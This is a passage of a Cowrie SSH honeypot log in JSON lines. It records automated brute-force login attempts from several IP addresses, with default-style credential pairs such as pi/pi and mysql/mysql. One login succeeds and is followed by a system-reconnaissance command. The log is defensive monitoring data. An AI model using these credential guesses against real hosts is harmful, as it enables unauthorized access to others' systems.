0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:22.290584Z","src_ip":"45.156.87.147","session":"3bb54628fd3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:22.553498Z","src_ip":"45.156.87.147","session":"3bb54628fd3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test","message":"login attempt [tester/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:23.058799Z","src_ip":"91.92.42.227","session":"3be2857636aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:23.087915Z","src_ip":"27.71.230.31","session":"1862fe7557f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.152.204.159","src_port":47242,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff856b8ef236","protocol":"ssh","message":"New connection: 202.152.204.159:47242 (159.203.135.109:22) [session: ff856b8ef236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:23.179898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:23.187967Z","src_ip":"202.152.204.159","session":"ff856b8ef236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:23.475996Z","src_ip":"202.152.204.159","session":"ff856b8ef236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:23.637576Z","src_ip":"45.156.87.147","session":"3bb54628fd3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":50038,"dst_ip":"159.203.135.109","dst_port":22,"session":"c066785c1299","protocol":"ssh","message":"New connection: 46.19.67.181:50038 (159.203.135.109:22) [session: c066785c1299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:23.856729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:23.864029Z","src_ip":"46.19.67.181","session":"c066785c1299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:23.976795Z","src_ip":"46.19.67.181","session":"c066785c1299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:24.297757Z","src_ip":"202.152.204.159","session":"ff856b8ef236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210881","message":"login attempt [root/210881] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:24.309762Z","src_ip":"46.19.67.181","session":"c066785c1299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:24.314878Z","src_ip":"91.92.42.227","session":"3be2857636aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:25.421993Z","src_ip":"46.19.67.181","session":"c066785c1299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:25.569900Z","src_ip":"202.152.204.159","session":"ff856b8ef236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.152.204.159","src_port":47256,"dst_ip":"159.203.135.109","dst_port":22,"session":"79e2e0025106","protocol":"ssh","message":"New connection: 202.152.204.159:47256 (159.203.135.109:22) [session: 79e2e0025106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:25.839839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:25.844272Z","src_ip":"202.152.204.159","session":"79e2e0025106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:26.139601Z","src_ip":"202.152.204.159","session":"79e2e0025106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:26.967435Z","src_ip":"202.152.204.159","session":"79e2e0025106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40632,"dst_ip":"10.17.0.5","dst_port":22,"session":"772cf41987e1","protocol":"ssh","message":"New connection: 91.92.42.227:40632 (10.17.0.5:22) [session: 772cf41987e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.213602Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60066,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b223ad2c753","protocol":"ssh","message":"New connection: 45.156.87.147:60066 (10.17.0.5:22) [session: 0b223ad2c753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.224636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.229140Z","src_ip":"45.156.87.147","session":"0b223ad2c753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.244555Z","src_ip":"202.152.204.159","session":"79e2e0025106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.315440Z","src_ip":"45.156.87.147","session":"0b223ad2c753","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.496783Z","src_ip":"91.92.42.227","session":"772cf41987e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.502580Z","src_ip":"91.92.42.227","session":"772cf41987e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.152.204.159","src_port":35438,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7381209cab3","protocol":"ssh","message":"New connection: 202.152.204.159:35438 (159.203.135.109:22) [session: e7381209cab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.544514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.552855Z","src_ip":"202.152.204.159","session":"e7381209cab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.570883Z","src_ip":"45.156.87.147","session":"0b223ad2c753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:28.838995Z","src_ip":"202.152.204.159","session":"e7381209cab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123","message":"login attempt [dev/dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:29.695332Z","src_ip":"202.152.204.159","session":"e7381209cab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:29.773099Z","src_ip":"45.156.87.147","session":"0b223ad2c753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":56752,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd35ca8f5d3e","protocol":"ssh","message":"New connection: 8.219.200.1:56752 (10.17.0.5:22) [session: fd35ca8f5d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:30.594597Z"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:30.618970Z","src_ip":"91.92.42.227","session":"772cf41987e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:31.013357Z","src_ip":"202.152.204.159","session":"e7381209cab3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:31.237971Z","src_ip":"8.219.200.1","session":"fd35ca8f5d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.152.204.159","src_port":35440,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1afa5dab664","protocol":"ssh","message":"New connection: 202.152.204.159:35440 (159.203.135.109:22) [session: e1afa5dab664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:31.291797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:31.296610Z","src_ip":"202.152.204.159","session":"e1afa5dab664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:31.471638Z","src_ip":"8.219.200.1","session":"fd35ca8f5d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:31.570110Z","src_ip":"202.152.204.159","session":"e1afa5dab664","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:31.651053Z","src_ip":"91.92.42.227","session":"772cf41987e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:31.653842Z","src_ip":"91.92.42.227","session":"772cf41987e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:32.127843Z","src_ip":"91.92.42.227","session":"772cf41987e1","protocol":"ssh"}
